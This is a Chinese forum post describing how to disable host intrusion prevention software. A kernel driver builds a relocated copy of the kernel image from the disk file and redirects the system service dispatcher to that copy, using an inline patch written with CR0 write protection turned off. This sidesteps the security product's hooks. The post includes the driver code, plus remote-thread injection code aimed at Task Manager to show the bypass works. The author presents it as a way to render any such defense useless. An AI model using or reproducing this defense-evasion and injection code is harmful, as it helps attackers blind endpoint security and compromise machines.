目前偶对主防的认识很肤浅,她的具体工作原理,偶不清楚。只知道她有一套信息采集系统(SSDT/SHADOW HOOK ,IAT HOOK, EAT HOOK, INLINE HOOK, NotifyRoutine,系统消息钩子),并巧妙利用堆栈回溯来获取更多信息。她应该还有一套自己独特的算法吧,通过它来根据收集到的信息判断当前操作是否是威胁。
基于这点认识,偶想能不能不管她那什么专家系统,只要干掉她的信息采集系统,就可以让她变成一个盲人而彻底失去防卫能力。为了得到控制权,她在内核映像上安插了若干个inlinehook控制点
。。。。。。
ntkrnlpa.exe!ZwLoadDriver + 3D
ntkrnlpa.exe!NtAllocateVirtualMemory + C54
ntkrnlpa.exe!NtCreateSection + 158
ntkrnlpa.exe!MmResetDriverPaging + 1340
ntkrnlpa.exe!NtMapViewOfSection + 2B9
ntkrnlpa.exe!ZwUnmapViewOfSection + 50
ntkrnlpa.exe!ZwWriteVirtualMemory + AD
ntkrnlpa.exe!ZwProtectVirtualMemory + FA
ntkrnlpa.exe!NtSetSecurityObject + 4A
。。。。
一个一个去清除这些控制点是项艰巨的任务。如果她有自我检验的能力,刚清除又会她被修改回去,则更加难以对付。而且还要考虑inlinehook的多核同步问题。总之,这条路不好走。
现在换一个思路,可不可以这样:利用磁盘上的原始内核文件,在内核空间建立一个内核映像的副本,再巧妙的把系统执行路径转移到副本上--偶的乾坤大挪移00!。而原始的内核文件是没有这些inlinehook控制点,因此这样做相当于把这些控制点架空,当然也把建立在inlinehook之上的主防也架空了。(釜底抽薪,这个成语用在这里,应该不为过吧)。现在就只要做两件事:
1)在内核空间建立内核映像副本
。。。。
kImageBase = ExAllocatePoolWithTag (NonPagedPool, imageSize, 0x123456);
if (NULL == kImageBase)
{
KdPrint (("Out of Memory 00!\n"));
return STATUS_UNSUCCESSFUL;
}
RtlCopyMemory (kImageBase, kDiskBase, ntHeader->OptionalHeader.SizeOfHeaders);
ExFreePoolWithTag (kDiskBase,0x123456);
for (i = 0; i < sectionNumbers; i++)
{
RtlCopyMemory ((PUCHAR)kImageBase + secHeader->VirtualAddress,
(PUCHAR)kDiskBase + secHeader->PointerToRawData, secHeader->SizeOfRawData);
secHeader++;
}
RelocDir = (PIMAGE_BASE_RELOCATION)((ULONG)kImageBase + ntHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
if (RelocDir != NULL)
{
while (RelocDir->VirtualAddress != 0 || RelocDir->SizeOfBlock != 0)
{
FixAddrBase = RelocDir->VirtualAddress + (ULONG)kImageBase;
RelocSize = (RelocDir->SizeOfBlock - 8)/2;
for ( i = 0; i < RelocSize; i++)
{
Temp = *(PUSHORT)((ULONG)RelocDir + sizeof (IMAGE_BASE_RELOCATION) + i * 2);
if ( (Temp & 0xF000) == 0x3000)
{
Temp &= 0x0FFF;
FixAddr = FixAddrBase + (ULONG)Temp;
*(PULONG)FixAddr = *(PULONG)FixAddr + (ULONG)KernelBase - (ULONG)ntHeader->OptionalHeader.ImageBase;
}
}
RelocDir = (ULONG)RelocDir + RelocDir->SizeOfBlock;
}
}
。。。。。
2)将执行路径转移至副本
。。。。
*(PUSHORT)HookPointer = 0x3f83;
*(HookPointer + 2) = 0x0;
*(PUSHORT)(HookPointer + 3) = 0xd74;
*(PUSHORT)(HookPointer + 5) = 0xff81;
*(PULONG)(HookPointer + 7) = KeServiceDescriptorTable;
*(PUSHORT)(HookPointer + 11) = 0x575;
*(HookPointer + 13) = 0xbf;
*(PULONG)(HookPointer + 14) = ImageTable;
RtlCopyMemory(HookPointer + 18, (char *)((ULONG)KeSystemService + ChangePointer + 1), 7);
*(HookPointer + 25) = 0xe9;
*(PLONG)(HookPointer + 26) = (ULONG)KeSystemService + (ULONG)ChangePointer + 8 - (ULONG)HookPointer - 30 ;
*(PUSHORT)(&JmpCode) = 0xe900;
*(PLONG)((ULONG)&JmpCode + 2) = HookPointer - ((ULONG)KeSystemService + ChangePointer + 1 + 5);
*(PUSHORT)((ULONG)&JmpCode + 6) = 0xFA8B;
//不支持多核
_asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*(PULONGLONG)((ULONG)KeSystemService + ChangePointer) = JmpCode;
_asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
。。。。
利用驱动完成这两步其实还是比较容易,高手一眼就能看出来。除了用到系统函数ZwReadFile之外,不需要用其他系统函数,这些主防一般是不会对文件读操作进行控制的。这样就可以防止在做这两件事时被主防拦截。如果有变态的主防控制ReadFile,那么,只得采用更底层的方法来读去内核文件。所剩下的唯一一个受制点:主防她控制着驱动的加载00!她死活不让我加载,那我也没办法00!偶电脑上的这款主防,幸好她放开了这个控制。偶就试试她,看看这套思路能不能实现。
拿论坛上某位兄台的注入代码来测试,关键代码如下,300是任务管理器的PID
mov dwProcessID,300
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,FALSE,dwProcessID
mov hProcess,eax
invoke VirtualAllocEx,hProcess,0,offset lcl - offset _lpMessageBox,MEM_COMMIT,PAGE_EXECUTE_READWRITE
mov lpRemoteCode,eax
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset _lpMessageBox,offset lcl - offset _lpMessageBox,0
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset lpMessageBox,4,0
mov eax,lpRemoteCode
add eax,offset RemoteThread - offset _lpMessageBox
Invoke CreateRemoteThread,hProcess,0,0,eax,0,0,0
具体效果见顶图,若是能成功加载,从原理上来说应该是可以让任何主防当摆设!!
未运行偶的驱动前,毫无疑问会被拦截
架空之后,注入成功